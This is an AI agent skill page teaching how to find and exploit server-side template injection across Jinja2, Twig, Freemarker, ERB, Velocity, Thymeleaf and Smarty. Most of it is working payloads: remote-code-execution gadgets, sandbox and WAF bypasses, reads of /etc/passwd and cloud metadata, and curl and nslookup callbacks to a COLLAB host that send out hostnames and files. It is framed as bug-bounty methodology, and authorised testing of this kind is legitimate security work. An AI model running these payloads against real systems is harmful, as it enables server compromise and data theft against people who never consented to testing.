Hunt ssti

From uphiago/recon-skills · View interactive version

Hunt ssti is an AI agent skill from the GitHub repository uphiago/recon-skills. Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to

How to use this skill

Skill file

When to Use

Use when the target has any endpoint that renders user-controlled input through a server-side template engine. SSTI is one of the fastest paths to RCE — detection is a single {{7*7}} and escalation typically requires one more payload. SSTI detection is reliable because template expressions evaluate BEFORE HTML encoding, so the result 49 appears in the rendered output even if the surrounding page is properly escaped.

Triggering contexts: email templates (order confirmations, password resets, welcome emails), PDF/report generators, CMS preview features (page builder previews, theme editors), error pages that reflect user input, profile bio/name/description fields rendered by server-side templates, URL path parameters reflected in templates, and inline translation strings with interpolation.

Prerequisites

How to Run

# Jinja2 — exfil via DNS
{{lipsum.__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}

# Twig — exfil via HTTP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/blind-ssti")}}

# Freemarker — exfil via URL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(
  "".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
  "curl http://COLLAB/blind-fm")}

# ERB — exfil via open3
<%= Open3.popen3('curl http://COLLAB/erb-blind').read %>

Procedure

The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.

Quick Reference

# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)

# Fingerprint engine
{{7*'7'}}         # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7}            # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %>        # 49 = ERB (Ruby)
*{7*7}            # 49 = Spring Thymeleaf

# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }}  # Jinja2

Step-by-Step Hunting Methodology

Phase 1 — Detection & Fingerprinting

  1. Identify reflection points — Every field where user input appears in rendered output: name fields, bio, email templates, error messages, URL parameters, search queries.
  1. Send polyglot probe — Submit {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7} in each candidate field. Look for 49 in the response body — this is a reliable signal because template expressions evaluate BEFORE HTML escaping.
  1. Engine fingerprinting — Once SSTI is confirmed, determine the engine:
  1. Error-reveal technique — Submit an intentionally malformed expression ({{badger without closing braces) — the error message often reveals the engine name, framework version, and file paths.
  1. Context analysis — Determine if the injection is in HTML context, attribute context, JavaScript context, or blind (only the output is used, not reflected).

Phase 2 — Escalation to RCE

Once the engine is fingerprinted, escalate using engine-specific RCE payloads:

Jinja2 (Python/Flask/Django):

# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Class walker (if config is restricted)
{{''.__class__.__mro__[1].__subclasses__()}}

# Blind RCE with OOB
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}

# File read
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}

Twig (PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

# OOB callback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/twig-rce")}}

Freemarker (Java):

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# OOB
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"curl http://COLLAB/fm-rce")}

ERB (Ruby on Rails):

<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>

Velocity (Java):

#set($str=$class.inspect("java.lang.String").split(""))
#set($rt=$class.inspect("java.lang.Runtime").getRuntime())
$rt.exec("id")

Spring Boot / Thymeleaf:

${T(java.lang.Runtime).getRuntime().exec("id")}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}

Smarty (PHP):

{php}echo shell_exec("id");{/php}
{system('id')}

Phase 3 — Blind SSTI Detection

When SSTI output isn't reflected but the template still evaluates (email templates, PDF generation), use OOB detection:

# Jinja2 — exfil via DNS
{{lipsum.__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}

# Twig — exfil via HTTP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/blind-ssti")}}

# Freemarker — exfil via URL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(
  "".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
  "curl http://COLLAB/blind-fm")}

# ERB — exfil via open3
<%= Open3.popen3('curl http://COLLAB/erb-blind').read %>

Phase 4 — Chaining

# SSTI → RCE → internal network scan
{{lipsum.__globals__.os.popen('curl http://COLLAB/$(hostname)').read()}}

# SSTI → file exfil
{{lipsum.__globals__.os.popen('curl -F "file=@/etc/passwd" http://COLLAB/exfil').read()}}

# SSTI → cloud metadata
{{lipsum.__globals__.os.popen('curl http://169.254.169.254/latest/meta-data/').read()}}

Attack Surface Signals

URL/Sink Patterns:

/profile/name, /preview, /render, /email-template, /invoice, /report
?name=, ?template=, ?content=, ?body=, ?message=, ?title=
/profile/settings/bio, /admin/email-templates/edit, /cms/preview

Response/Error Signals:

Error: "Template '{{user_input}}' not found"  → Twig (Symfony)
Error: "org.springframework.expression.spel"  → Spring/Thymeleaf
Error: "Method __construct not found"         → Smarty
Error: "Undefined variable: 7*7"              → Smarty
Response contains rendered math expression    → SSTI confirmed

Tech Stack Signals:

Common Root Causes

  1. Trusting user input in template contexts — Developers pass user-controlled strings into render_template_string() (Flask), Template() (Jinja2), $twig->render() (Symfony), or str.format() with template syntax without sandboxing.
  1. Email template rendering — Order confirmations, password resets, welcome emails that interpolate user name/input into templates before sending. The SSTI is blind (emailed to user, not reflected in browser), making it harder to detect but equally exploitable.
  1. CMS preview/page builder features — Drag-and-drop page builders that store template fragments and render them server-side. The preview endpoint is often the SSTI sink.
  1. Inline translation systems — Rails t() helper with interpolation: t('welcome', name: user_input) marks translation strings as HTML-safe by default, enabling SSTI through locale keys.
  1. Error pages reflecting input — 404 handlers that echo the path into a template, 500 error pages showing the error message in a template.
  1. Developer debug endpoints — /render, /template-test, /email-preview left enabled in production.

Bypass Techniques

Defense: Blacklisted characters ({, }, $)

Bypass: Try alternative syntaxes — Twig {% ... %}, Jinja2 {% ... %}, Freemarker <#if ...>, alternate delimiter syntax depending on engine configuration.

Defense: Sandboxed template engine

Bypass: Sandbox restrictions are often engine-specific and incomplete. For Jinja2 SandboxedEnvironment, try {{lipsum.__globals__}} — the lipsum function is accessible in the default globals. For Twig sandbox, try {{_self.env.registerUndefinedFilterCallback("exec")}}.

Defense: Output filtering / HTML encoding

Bypass: SSTI evaluation happens BEFORE HTML encoding — the expression result 49 appears even if the page escapes HTML. Use OOB/DNS callbacks for blind execution confirmation.

Defense: WAF blocking SSTI patterns

Bypass: Use alternative RCE payloads — Jinja2 {% print(...) %} instead of {{ ... }}, Freemarker <#assign> instead of ${ ... }, or split payloads across parameters.

Defense: Length limits on input

Bypass: Use short payload primitives — Jinja2 {{lipsum.__globals__.os.popen('id').read()}} is ~50 chars. For longer chains, use POST bodies instead of GET parameters.

Real Examples

Scenario A — Email Template SSTI → RCE (E-commerce Platform)

A major e-commerce platform's order confirmation email included the customer's name in a server-rendered Jinja2 template. The attacker registered with a username containing {{config.__class__.__init__.__globals__['os'].popen('curl http://COLLAB/$(hostname)').read()}}. When the order confirmation was generated and emailed, the template engine evaluated the expression — executing the system command and sending the hostname to the attacker's collaborator. Impact: RCE on the email rendering server, which had access to the full customer database and order processing pipeline.

Scenario B — CMS Page Builder SSTI (Freemarker → RCE)

A Java-based CMS allowed editors with limited privileges to preview page templates. The Freemarker template engine was configured to allow ${ ... } expressions in template fragments. An editor crafted a template snippet containing <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}, which executed when the preview was rendered. Impact: privilege escalation from editor to OS-level RCE on the CMS application server.

Scenario C — PDF Generator SSTI (Blind ERB → RCE)

A Ruby on Rails application generated PDF invoices using a server-side template. The invoice included the customer's name and address. An attacker submitted an address with <%= system("curl -F 'data=@/etc/passwd' http://COLLAB/exfil") %>. When the PDF was generated, the ERB template executed the command, exfiltrating the server's password file. Impact: full server compromise via a blind SSTI in the PDF generation pipeline.

Phase 5 — Engine Fingerprint Table

Use differential probes on math expressions to identify the template engine before attempting RCE:

| Probe | Jinja2 | Twig | Freemarker | Velocity | ERB | EJS | Pug |

|---|---|---|---|---|---|---|---|

| {{7*7}} | 49 | 49 | 49 | 49 | — | 49 | — |

| ${7*7} | ${77} | ${77} | 49 | 49 | — | ${7*7} | — |

| <%=7*7%> | <%=7*7%> | — | — | — | 49 | 49 | — |

| #{7*7} | — | — | 49*7 (literal) | — | 49 | — | — |

| a{*comment*}b | — | ab | — | — | — | — | — |

| #{7*7} | — | — | — | 7*7 (string) | — | — | — |

Phase 6 — Engine-Specific RCE Gadgets

Jinja2 (Python):

# Class walker (no globals)
{{ ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['os'].popen('id').read() }}

# Attr filter bypass (WAF evasion)
{{ request|attr('application')|attr('__self__')|attr('_get_data_for_json')|attr('__self__') }}

# lipsum globals access
{{ lipsum.__globals__['os'].popen('id').read() }}

Twig (PHP):

{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
{{ ['id']|filter('system') }}

Freemarker (Java):

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}

Velocity (Java):

#set($s="") #set($stringClass=$s.getClass()) #set($rt=$stringClass.forName("java.lang.Runtime")) $rt.getRuntime().exec("id")

ERB (Ruby):

<%= `id` %>
<%= system("curl http://COLLAB/$(id)") %>

Pitfalls


Verification


Related Skills

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.